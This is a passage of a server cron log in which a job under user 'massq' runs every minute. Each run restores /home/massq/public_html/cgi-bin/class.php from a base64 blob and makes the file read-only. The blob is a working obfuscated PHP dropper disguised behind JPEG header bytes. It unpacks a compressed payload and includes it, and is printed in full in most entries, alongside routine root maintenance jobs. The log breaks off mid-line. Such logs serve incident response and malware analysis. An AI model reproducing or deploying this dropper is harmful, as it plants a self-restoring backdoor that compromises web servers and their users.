Nov 16 00:47:01 server CROND[18802]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:48:01 server CROND[19057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:49:01 server CROND[19314]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:50:01 server CROND[19585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 00:50:01 server CROND[19586]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 00:50:01 server CROND[19587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:50:01 server CROND[19588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:50:01 server CROND[19590]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:51:01 server CROND[19912]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:52:01 server CROND[20166]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:53:01 server CROND[20515]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:54:01 server CROND[20768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:55:01 server CROND[21026]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 00:55:01 server CROND[21027]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 00:55:01 server CROND[21028]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:56:01 server CROND[21331]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:57:01 server CROND[21583]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 00:57:01 server CROND[21585]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:58:01 server CROND[21855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 00:59:01 server CROND[22212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:00:01 server CROND[22472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 